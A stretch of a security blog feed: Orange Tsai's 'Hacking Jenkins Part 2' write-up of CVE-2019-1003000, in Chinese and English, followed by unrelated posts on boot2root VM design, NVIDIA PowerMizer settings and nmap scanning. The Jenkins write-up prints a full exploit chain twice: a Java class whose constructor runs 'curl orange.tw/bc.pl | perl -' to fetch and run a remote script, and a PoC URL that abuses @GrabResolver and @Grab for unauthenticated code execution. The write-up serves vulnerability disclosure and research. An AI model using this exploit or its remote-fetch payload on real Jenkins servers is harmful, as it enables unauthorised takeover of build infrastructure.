        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch(ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}

由於 JAR 檔案其實就是一個 ZIP 壓縮格式的子集,Grape 會檢查檔案中是否存在一些指定的入口點,其中一個 Runner 的入口點檢查引起了我們的興趣,持續跟進 processRunners(…) 的實作我們發現:

void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

這裡的 newInstance() 不就代表著可以呼叫到任意類別的 Constructor 嗎? 沒錯! 所以只需產生一個惡意的 JAR 檔,把要執行的類別全名放至 META-INF/services/org.codehaus.groovy.plugins.Runners 中即可呼叫指定類別的Constructor 去執行任意代碼! 完整的漏洞利用過程如下:

public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}
$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

影片:


後記


到此,我們已經可以完整的控制遠端伺服器! 透過 Meta-Programming 在語法樹解析時期去引入惡意的 JAR 檔,再透過 Java 的 Static Initializer 特性去執行任意指令! 雖然 Jenkins 有內建的 Groovy Sandbox(Script Security Plugin),但這個漏洞是在編譯階段而非執行階段,導致 Sandbox 毫無用武之處!

由於這是對於 Groovy 底層的一種攻擊方式,因此只要是所有可以碰觸到 Groovy 解析的地方皆有可能有漏洞產生! 而這也是這個漏洞好玩的地方,打破了一般開發者認為沒有執行就不會有問題的思維,對攻擊者來說也用了一個沒有電腦科學的理論知識背景不會知道的方法攻擊! 不然你根本不會想到 Meta-Programming! 除了我回報的 doCheckScriptCompile(...)toJson(...) 兩個進入點外,在漏洞被修復後,Mikhail Egorov 也很快的找到了另外一個進入點去觸發這個漏洞!

除此之外,這個漏洞更可以與我前一篇 Hacking Jenkins Part 1 所發現的漏洞串起來,去繞過 Overall/Read 的限制成為一個名符其實不用認證的遠端代碼執行漏洞!(如果你有好好的讀完這兩篇文章,應該對你不是難事XD) 至於有沒有更多的玩法? 就交給大家自由發揮串出自己的攻擊鏈囉!

感謝大家的閱讀,Hacking Jenkins 系列文就在這裡差不多先告一個段落囉! 未來將會再發表更多有趣的技術研究敬請期待!

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!(EN)

18 February 2019 at 16:00

English Version 中文版本

Hello everyone!

This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check the following link to get some basis and see how vulnerable Jenkins’ dynamic routing is!

As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the Script Console)! Although we could bypass the first ACL, we still can’t do much things :(

After Jenkins released the Security Advisory and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading :)


Vulnerability Analysis


First, we start from the Jenkins Pipeline to explain CVE-2019-1003000! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy)

In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library!

As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline:

public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
    } catch (CompilationFailedException x) {
        return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // Approval requirements are managed by regular stapler form validation (via doCheckScript)
}

Here Jenkins validates the Pipeline with the method GroovyClassLoader.parseClass(…)! It should be noted that this is just an AST parsing. Without running execute() method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing :(

this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any execute() method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind!


What is Meta-Programming


Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language!

If it is still hard to understand, you can just regard eval(...) as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example:

  • C Macro
  • C++ Template
  • Java Annotation
  • Ruby (Ruby is a Meta-Programming friendly language, even there are books for that)
  • DSL(Domain Specific Languages, such as Sinatra and Gradle)

When we are talking about Meta-Programming, we classify it into (1)compile-time and (2)run-time Meta-Programming according to the scope. Today, we focus on the compile-time Meta-Programming!

P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! Wiki, Ref1, Ref2 P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me <(_ _)>


How to Exploit?


From the previous section we know Jenkins validates Pipeline by parseClass(…) and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage?

There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as the macro expansion in C language:

#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128 x[]={f,f,f,f,f,f,f,f};

or the compiler resource bomb(make a 16GB ELF by just 18 bytes):

int main[-1u]={1};

or calculating the Fibonacci number by compiler

template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

From the assembly language of compiled binary, we can make sure the result is calculated at compile-time, not run-time!

$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

For more examples, you can refer to the article Build a Compiler Bomb on StackOverflow!


First Attempt


Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official Meta-Programming manual to find some exploitation ways. In the section 2.1.9, we found the @groovy.transform.ASTTest annotation. Here is its description:

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:

What! perform assertions on the AST? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first:

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');
$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

Cool, it works! However, while reproducing this on the remote Jenkins, it shows:

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

What the hell!!! What’s wrong with that?

With a little bit digging, we found the root cause. This is caused by the Pipeline Shared Groovy Libraries Plugin! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error unsable to resolve class occurs!

How to fix this problem? It’s simple! Just go to Jenkins Plugin Manager and remove the Pipeline Shared Groovy Libraries Plugin! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way!


Second Attempt


We continued reading the Groovy Meta-Programming manual and found another interesting annotation - @Grab. There is no detailed information about @Grab on the manual. However, we found another article - Dependency management with Grape on search engine!

Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like:

@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

By using @Grab annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the PoC proveded by @adamyordan to execute arbitrary commands!

However, without a valid credential and execute() method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about @Grab, we found another interesting annotation - @GrabResolver:

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet

If you are smart enough, you would like to change the root parameter to a malicious website! Let’s try this in local environment:

this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"

Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution?


The Way to Code Execution


In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?

By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)!

void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch(ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}

JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this:

void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code!

Here is the full exploit:

public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}
$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

Video:


Epilogue


With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(Script Security Plugin) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time!

Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points doCheckScriptCompile(...) and toJson(...) I reported, after the vulnerability has been fixed, Mikhail Egorov also found another entry point quickly to trigger this vulnerability!

Apart from that, this vulnerability can also be chained with my previous exploit on Hacking Jenkins Part 1 to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain :P

Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future :)

Tips on designing boot2root challenges

18 February 2019 at 10:00

During the past couple of years I published a couple of boot2root challenges on Vulnhub and had some asks on how to properly create such a challenge. I hope this quick post gives you some guidance.


1. Use the official ISOs to create the VM: Avoid using pre-created VMs, many times they aren’t ported properly to be distributed and/or contain unwanted bloatware. Using the official ISOs gives you flexibility on creating the VM hypvervisor-agnostic, meaning it should have no dependencies on whether you created them on VMWare/VirtualBox, so don’t install the guest additions.

2. Configure the network settings: Let the VM rely on the DHCP server, take a look at the Vulnhub “Isolating the lab” section here. Don’t assign it a static IP unless needed, and make sure the player knows about that and any setup required.

3. Patch it up: You normally want players to find the challenges you implemented, not the ones that result from an outdated vulnerable service/kernel. Updating it will reduce the odds of this happening.

4. Choose a theme: Deciding on a theme turns out to be quite important as some people prefer realistic challenges; would I find this in a production environment? Dealing with unrealistic challenges without expecting them could be frustrating. Yet don’t be afraid to stray from that, there are lots of great unrealistic boot2roots on vulnhub.

5. Create the attack surface: This is where the real work begins. You’ll want to craft a path (or more) for players to discover. Maybe some dead ends. Since players attack the VM from an attacker machine, avoid them being able to go from attacking remotely directly to root. At the very least it should go remote -> local -> root. Even more fun is to create multiple scenarios.

6. Take snapshots and automate: Taking snapshots will give you the flexibility on dismissing corrupted iterations. Automating various tasks should be a good ROI, like deleting temporary files and such.

7. Remove unwanted services/files: Removing the GUI layer will save well on space.

8. Have test bunnies: Many people would love to help you test the challenges, another pair of eyes does wonders.

9. Update /etc/motd: This is your chance to put a note for the player, personalize the VM with a name or even some ASCII artwork.

10. Export to OVA format: Avoid uploading the disk file as many times it might have dependencies on the HW you created it on or misconfigured. Instead export the VMs to OVF format so the hypervisor properly mounts them. Both VMWare and VirtualBox support this.

-Abatchy

How to Permanently Set NVIDIA PowerMizer Settings in Ubuntu

15 February 2019 at 00:00

When setting the preferred power mode in the PowerMizer settings of the NVIDIA control panel in Ubuntu, the setting is reset after a reboot of the system. As the default setting forces the GPU to use an adaptive power setting, this can result in decreased performance until such time as setting PowerMizer to prefer maximum performance again.

Although the NVIDIA control panel provides no means of persisting these settings, there is a CLI utility that can help automate the process. Running the nvidia-settings binary with the -q option will output all the current settings. Filtering the output to those related to PowerMizer reveals the GPUPowerMizerMode setting, which when unaltered is set to 0:

$ nvidia-settings -q all | grep -C 10 -i powermizer
  Attribute 'GPUCurrentPerfLevel' (rastating-PC:1[gpu:0]): 3.
    'GPUCurrentPerfLevel' is an integer attribute.
    'GPUCurrentPerfLevel' is a read-only attribute.
    'GPUCurrentPerfLevel' can use the following target types: X Screen, GPU.

  Attribute 'GPUAdaptiveClockState' (rastating-PC:1[gpu:0]): 1.
    'GPUAdaptiveClockState' is a boolean attribute; valid values are: 1 (on/true) and 0 (off/false).
    'GPUAdaptiveClockState' is a read-only attribute.
    'GPUAdaptiveClockState' can use the following target types: X Screen, GPU.

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 0.
    Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2.
    'GPUPowerMizerMode' can use the following target types: GPU.

  Attribute 'GPUPowerMizerDefaultMode' (rastating-PC:1[gpu:0]): 0.
    'GPUPowerMizerDefaultMode' is an integer attribute.
    'GPUPowerMizerDefaultMode' is a read-only attribute.
    'GPUPowerMizerDefaultMode' can use the following target types: GPU.

  Attribute 'ECCSupported' (rastating-PC:1[gpu:0]): 0.
    'ECCSupported' is a boolean attribute; valid values are: 1 (on/true) and 0 (off/false).
    'ECCSupported' is a read-only attribute.
    'ECCSupported' can use the following target types: GPU.

  Attribute 'GPULogoBrightness' (rastating-PC:1[gpu:0]): 100.
    The valid values for 'GPULogoBrightness' are in the range 0 - 100 (inclusive).
    'GPULogoBrightness' can use the following target types: GPU.

After setting the preferred mode to “Prefer Maximum Performance”, the control panel and terminal output now looked as follows:

$ nvidia-settings -q GpuPowerMizerMode

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 1.
    Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2.
    'GPUPowerMizerMode' can use the following target types: GPU.

As can be seen in the above output, the GPUPowerMizerMode is now set to a value of 1.

In addition to reading current values, nvidia-settings can also be used to alter settings. Before using this, we must take note of the GPU index that needs to be changed. In most instances, this will be 0. The index can be identified by looking at the number following gpu: in the attribute line of the output.

Using this information, we can use the -a option to set the value of GpuPowerMizerMode to 1 and verify it has been changed using the -q option:

$ nvidia-settings -a "[gpu:0]/GpuPowerMizerMode=1"

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]) assigned value 1.

$ nvidia-settings -q GpuPowerMizerMode

  Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 1.
    Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2.
    'GPUPowerMizerMode' can use the following target types: GPU.

There are multiple ways to automate the execution of this command. Personally, I have chosen to add it as a startup application. To do this, run “Startup Applications Preferences” from the dock and then click the “Add” button. In the dialog that is displayed, add the previously used command to set the preferred mode, like this:

After adding this as a startup program, the setting will be automatically adjusted every time you login and the GPU will always prefer maximum performance.

Network scanning with nmap

21 January 2019 at 06:45

Introduction

First step in the process of penetration testing is “Information gathering”, the phase where it is useful to get as much information about the target(s) as possible. While it might be different for the different type of penetration tests, such as web application or mobile application pentest, network scanning is a crucial step in the infrastructure or network pentest.

Let’s take a simple scenario: you are a penetration tester and a company want to test one of its servers. They send you the IP address of the server. How to proceed? Although nmap allows to easily specify multiple IP targets or IP classes, to keep things simple, I will use a single target IP address which I have the permission to scan (my server): 137.74.202.89.

Why?

To find vulnerabilities in a remote system, you should first find the network services running on the target server by doing a network scan and finding the open ports. A service, such as Apache or MySQL can open one or multiple ports on a server to provide its functionality, such as serving web pages or providing access to a database.

How?

A well-known tool that helps penetration testers to perform network scan is nmap (Network Mapper). Nmap is not just a port-scanner, it is a powerful tool, highly customizable that can also find the services running on a system or even use scrips (modules) to find vulnerabilities.

The easiest way to use nmap is to use the Pentest-Tools web interface which allows anyone to easily perform a network scan.

Let’s see some examples. We want to scan an IP address using nmap. How can we do it? What parameters should we use? We can start with the easiest version:

root@kali:~# nmap 137.74.202.89
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-16 02:11 EDT
Nmap scan report for rstforums.com (137.74.202.89)
Host is up (0.045s latency).
Not shown: 993 closed ports
PORT    STATE    SERVICE
22/tcp  open     ssh
25/tcp  filtered smtp
80/tcp  open     http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
443/tcp open     https
445/tcp filtered microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds

We can find some useful information:

  • We see the nmap version and start time of the scan
  • We can see the domain name of the IP address: rstforums.com
  • We can see that host is up, so nmap checked this
  • We can see that 993 ports are closed
  • We can see that 7 ports are open or filtered

However, even if the default scan can be very useful, it might not provide all the information we need to perform the penetration test on the remote server.

Nmap options

Checking the options of nmap is the best place to start. The “nmap -h” command will show us the command line parameters grouped in multiple categories: target specification, host discovery, scan techniques, port specification, version/service detection, OS scan, script scan, performance, firewall evasion and output. It is possible to easily find detailed information about all options by using the “man nmap” command.

Let’s see what common options might be useful, from each category.

  1. Target specification – Since we have a single IP address as a target, there is no need to load it from a file (-iL), we will specify it in the command line.
  2. Host discovery – These options are useful when there are a lot of target IP addresses and can help to reduce the scan time by checking if the target IP addresses are online. It does this by sending multiple different packets, but it can miss some of them. Since in our case there is a single target IP address, we can disable the host discovery by using the “-Pn” argument.
  3. Scan techniques – It is possible to scan using multiple techniques. First, it is important to know what to scan for: TCP, UDP or both. The most common services are running on TCP, but in a penetration test UDP ports must not be forgotten. It is possible to scan for UDP ports using “-sU” command line option and for TCP, there are two common scan techniques: SYN scan (“-sS” option) and Connect scan (“-sT” option).
  4. Port specification – After we decide what scan technique to use, we have to mention the ports we want to scan. This can be easily achieved with “-p” option. By default, nmap scans the most common 1000 ports. However, to be sure, we can scan all ports (1-15535) using “-p-“ option.
  5. Service/version detection – Even if finding open ports is a good start, finding which service and which service version are running on the target system would help more. This can be easily achieved by using the “-sV” option.
  6. OS detection – It might be useful to also know which Operating System is running on the target system and specifying the “-O” option will instruct nmap to try to find it out.
  7. Script scan – With the previous options we can find which services are running on the target system. However, why not to get more information about them? Nmap has a large amount of scripts that can get additional information about them. Please note that some of them might be “intrusive”, so we need the permission before scanning a target.
  8. Performance – This category allows us to customize the speed of the scan. There are a few timing templates that can be used with “-T” parameter, from “-T0” (paranoid mode) to “-T5” (insane mode). A recommended value would be “-T3” (normal mode) and if network connectivity is good, “-T4” (aggressive mode) can be used as well.
  9. Firewall evasion – There are multiple options which specify different techniques that can be used to avoid firewalls, however, for the simplicity we will not use them here.
  10. Output – What happens if you scan for a long time and your system crashes? What if you close the Terminal by mistake and not check the scan result? You should always save the output of the scan result! The “-oN” saves the normal output, “-oX” saves the output as XML or “-oG” saves it in “greppable” format.
  11. Other options – It is also very useful to know what’s happening if a long-time scan is running an “-v” can improve verbosity and keep you up to date. If there are a lot of targets, by using “–open” you will only get the open ports as output and it can improve your scan read time. It is possible to also resume a scanning session (if output was saved) using “–resume” option and “-A” (aggressive) can turn on multiple scan options by default: “-O -sC -sV” but not “-T4”.

During a penetration test all ports must be scanned. A possible nmap command to do it would be the following:

nmap -sS -sU -p- -sC -sV -O -Pn -v -oN output 137.74.202.89

However, it will take some time, so a good suggestion is to run a shorter scan first, scan for example only most common 100 or 1000 TCP ports and after this scan is finished, start the full scan while working with the result of this scan. Below is an example, where “–top-ports” option choses the most common 1000 ports.

nmap -sS --top-ports 1000 -sC -sV -v -Pn -oN output 137.74.202.89

TCP vs UDP scan

While doing a network scan, it is useful to understand the differences between TCP and UDP protocols.

UDP protocol is very simple, but it does not offer the functionalities that TCP offers. The most useful features of TCP are the following:

  • It requires an initial connection, in 3 steps, also called “3-way handshake”:
  1. Client sends a packet with the SYN flag (a bit in the TCP header) set
  2. Server replies with the SYN and ACK flags set (as mentioned in the TCP standard, this can also be done in two packets, but it’s easier to combine them in a single packet)
  3. Client confirms using an ACK flag set packet.
  • Each packet sent to a target is confirmed by another packet, so it is possible to know if the packed reached the destination or not
  • Each packet has a number, so it is sure that the packets are processed at the destination in the same order as they were sent

The initial connection is important to be understood in order to understand the difference between the two common TCP scans: SYN scan (-sS) vs Connect (-sT) scan. The difference is that the SYN scan is faster, as nmap will not send the last ACK packet. Also, it is important to note that nmap requires root privileges to use SYN scan. This is because nmap need to use RAW sockets, a functionality of the Operating system, to be able to manually create the TCP packets and this needs root privileges. If we run nmap with root privileges, by default it will use SYN scan, if not, It will use Connect scan.

How does it work?

Enough with the theory, let’s see what happens during a SYN and UDP scan. We will use a simple command, to scan for port 80 on both TCP (using SYN scan) and UDP.

# nmap -sS -sU -Pn -p 80 137.74.202.89
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-17 13:12 EDT
Nmap scan report for rstforums.com (137.74.202.89)
Host is up (0.045s latency).
PORT   STATE  SERVICE
80/tcp open   http
80/udp closed http
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

During the scan, we open Wireshark and check for the packets sent using a filter that will show us only the packets sent to our target IP address: “ip.addr == 137.74.202.89”. Below is the result:

syn

We can see the following:

  1. First three packets are TCP: one with the SYN flag sent by nmap, one with the SYN and ACK flags sent by the target server and one with RST (Reset) flag sent by nmap. As you can see, being a SYN scan, the last packet of the three-way handshake does not exist. This is helpful, because some services, on connection, might log the IP address that connected to them and this type of scan helps us to avoid this issue.
  2. Last two packets are UDP and ICMP: first packet is the one sent by nmap to the remote port 80, and it received an ICMP message “Destination unreachable (Port unreachable)” which informs us that the port is not open and nmap can show it as closed. However, please note that those packets might not be sent.

Let’s also check for a Connect scan is performed. We can use the following command:

nmap -sT -Pn -p 80 137.74.202.89

Below is the result:

open

We can see that there are four packets:

  1. First three packets represent the three-way handshake used to initiate the connection.
  2. Last packet is sent to close the connection

What happens if the port is closed? We will change the port to a random one: 1337

closed

There are two packets:

  1. First packet is the SYN packet sent by nmap to initiate the connection
  2. Second packet is the RST packet received, meaning that the port is not opened

However, if a firewall is used, it might be possible to not receive the RST packet.

Service version

Service version option (-sV) allows us to find out what is running on the target port. This depends on the service running there. However, let’s see some examples of requests that nmap will use to find what is running on port 80, which is an Apache web server.

# nmap -sS -Pn -p 80 -sV 137.74.202.89
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-17 14:05 EDT
Nmap scan report for rstforums.com (137.74.202.89)
Host is up (0.043s latency).
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.98 seconds

Below is a list of HTTP requests sent by nmap:

GET / HTTP/1.0
GET /nmaplowercheck1539799522 HTTP/1.1
Host: rstforums.com
Connection: close
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
POST /sdk HTTP/1.1
Host: rstforums.com
Content-Length: 441
Connection: close
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)

<soap:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContent xmlns="urn:internalvim25"><_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>
GET /HNAP1 HTTP/1.1
Host: rstforums.com
Connection: close
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
GET / HTTP/1.1
Host: rstforums.com
GET /evox/about HTTP/1.1
Host: rstforums.com
Connection: close
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)

Script scan

If we enable the script scan (-sC), the number of requests increases as it will use multiple “scripts” to find more information about the target. Let’s take the following example:

# nmap -sS -Pn -p 80 -sC 137.74.202.89
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-17 14:14 EDT
Nmap scan report for rstforums.com (137.74.202.89)
Host is up (0.045s latency).
PORT   STATE SERVICE
80/tcp open  http
|_http-title: Did not follow redirect to https://rstforums.com/
Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds

Below is the Wireshark output, using a filter that matches only the HTTP requests sent:

http wireshark

